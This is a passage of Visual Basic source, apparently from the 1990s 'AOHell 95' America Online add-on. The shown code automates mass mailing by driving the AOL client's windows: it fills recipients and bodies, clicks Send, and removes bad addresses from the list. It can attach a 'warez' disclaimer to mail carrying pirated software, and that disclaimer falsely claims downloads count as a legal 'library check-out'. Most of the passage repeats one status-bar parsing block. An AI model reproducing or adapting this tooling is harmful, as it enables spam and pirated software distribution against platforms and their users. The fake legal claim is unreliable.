        Find10% = FindChildByClass(MailHand, "_AOL_Edit")
        If Find10% <> 0 Or MHand <> 0 Then GoTo gag1
        Call Pause(.1)
        If CursorChanged = 1 Then GoTo gag1
        VBMsg1.SendMessage = WM_LBUTTONDOWN
        VBMsg1.SendMessage = WM_LBUTTONUP

        DoEvents
      Next b

gag1:
      DoEvents
      Call Pause(.1)
      MailHand = VBEnumChildWindows(MDIClient1, 1)
      DoEvents

    'MailHand = FindChildByTitle(thiswin%, "Fwd:")
      SendHand1 = VBEnumChildWindows(MailHand, 2)
      ToHand = VBEnumChildWindows(MailHand, 8)
      While ToHand = 0
        If qui1 = 1000 Then GoTo endit
        DoEvents
        dobodo = 4 + 4
        DoEvents
        ToHand = VBEnumChildWindows(MailHand, 8)
      Wend

      SubjectHand = VBEnumChildWindows(MailHand, 12)
      MessageHand = VBEnumChildWindows(MailHand, 13)
      DoEvents

BackStar:

      lint = 20000
      lpstring = Text1.Text

      a2 = SendMessagebyString(ToHand, WM_SETTEXT, lint, lpstring)  ',lint
      DoEvents
    'Call Pause(.1)
      ret = Chr$(13) + Chr$(10)
      If Check3D1.Value = True Then

        warezdisclaim = "*** W A R N I N G ***" + ret + "By downloading this file attached to this" + ret + "e-mail message, you agree to abide by all" + ret + "copyright laws of the United States as" + ret + "found in U.S.C.A., and specifically those" + ret + "sections regarding non-profit library" + ret + "check-out of software.  Once your check-out" + ret + "period is over, you MUST return or destroy this" + ret
        warezdisclaim = warezdisclaim + "file.  If you do not do so, you WILL BE in" + ret + "violation of Federal Law." + ret + "  " + ret + "If you have any questions regarding your" + ret + "legal liability, please consult U.S.C.A. or" + ret + "your local attorney." + ret + "  " + ret + "Making copies or distribution of this file" + ret + "for profit is expressly forbidden by" + ret + "Federal Law.  Your check-out period is" + ret + "24 hours from the time of download." + ret + "  " + ret + "If you can use this software, please purchase" + ret + "it." + ret + "  " + ret
      End If

      If Len(Text2.Text) > 0 Then
        If Check3D1.Value = True Then
          lpstring = warezdisclaim + Text2.Text + ret + ret + "--- Mass Mailed with AOHell 95 v3.0 by Da Chronic"
        Else
          lpstring = Text2.Text + ret + ret + "--- Mass Mailed with AOHell 95 v3.0 by Da Chronic"
        End If
      Else
        If Check3D1.Value = True Then
          lpstring = warezdisclaim + "--- Mass Mailed with AOHell 95 v3.0 by Da Chronic"
        Else
          lpstring = "--- Mass Mailed with AOHell 95 v3.0 by Da Chronic"
        End If
      End If
      a3 = SendMessagebyString(MessageHand, WM_SETTEXT, lint, lpstring) ',lint
      DoEvents
    '  Call Pause(.4)
      DoEvents
    ' Call Pause(.4)
    'On Error GoTo puber

      VBMsg1.SubClasshWnd = SendHand1
      VBMsg1.SendMessage = WM_LBUTTONDOWN
      DoEvents
      Call Pause(.1)
      VBMsg1.SendMessage = WM_LBUTTONUP
      DoEvents
      thiswin1% = FindWindow(0, "America Online")
      While thiswin1% = 0
        If qui1 = 1000 Then GoTo endit
        DoEvents
        DoEvents
        dodo = 4 + 4
        DoEvents
        DoEvents
        thiswin1% = FindWindow(0, "America Online")
      Wend
      DoEvents

      StatBat = VBEnumChildWindows(thiswin1%, 3)

      lint = 10000
      lpstring = Space(10000)

      Gwar = 0
      chank1 = 0
      thiswin10% = 0

      Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)  ',lint
      lpstring = Trim$(lpstring)
      lpstring = UCase$(lpstring)
      chnk = Text1.Text
      Text1.Text = UCase$(chnk)

      Gwar = InStr(1, lpstring, "-")
      If Not Gwar > 0 Then GoTo Puber
      If Gwar > 0 Then
        Gwar = Gwar - 2
        Gwar2 = Mid$(lpstring, 1, Gwar)
        Gwar2 = Trim$(Gwar2)
        Gwar2 = UCase$(Gwar2)
        gog = Len(Gwar2)
        chank = Text1.Text
        chank1 = InStr(1, chank, Gwar2)
        If chank1 > 0 Then
          gog = gog + 1
          gog1 = chank1 + Len(Gwar2)
          chank1 = chank1 - 1
          chank2 = Mid$(chank, 1, chank1)
          chank3 = Mid$(chank, gog1)
          Text1.Text = chank2 + chank3

          olecap = Ebstat.Panel3D1.Caption
          Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
          Ebstat.List1.AddItem Gwar2
          DoEvents
          Call Pause(2)
          SendKeys "{ENTER}"
          DoEvents
          Call Pause(1.5)
          Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
        End If
      End If

      thiswin10% = FindWindow(0, "America Online")
     ' DoEvents
      thiswin10% = FindWindow(0, "America Online")
     ' DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then

        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then

        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then

        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

        Y = SendMessagebyString(StatBat, WM_GETTEXT, lint, lpstring)    ',lint
        lpstring = Trim$(lpstring)
        lpstring = UCase$(lpstring)
        chnk = Text1.Text
        Text1.Text = UCase$(chnk)

        Gwar = InStr(1, lpstring, "-")
        If Gwar > 0 Then
          Gwar = Gwar - 2
          Gwar2 = Mid$(lpstring, 1, Gwar)
          Gwar2 = Trim$(Gwar2)
          Gwar2 = UCase$(Gwar2)
          gog = Len(Gwar2)
          chank = Text1.Text
          chank1 = InStr(1, chank, Gwar2)
          If chank1 > 0 Then
            gog = gog + 1
            gog1 = chank1 + Len(Gwar2)
            chank1 = chank1 - 1
            chank2 = Mid$(chank, 1, chank1)
            chank3 = Mid$(chank, gog1)
            Text1.Text = chank2 + chank3

            olecap = Ebstat.Panel3D1.Caption
            Ebstat.Panel3D1.Caption = "Unknown or Box is full, removing " + Gwar2 + " from list."
            Ebstat.List1.AddItem Gwar2
            DoEvents
            Call Pause(2)
            SendKeys "{ENTER}"
            DoEvents
            Call Pause(1.5)
            Ebstat.Panel3D1.Caption = "Mass Mailing: " + Text1.Text
          End If
        End If
      End If
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      thiswin10% = FindWindow(0, "America Online")
      DoEvents
      If thiswin10% <> 0 Then
        StatBat = VBEnumChildWindows(thiswin10%, 3)

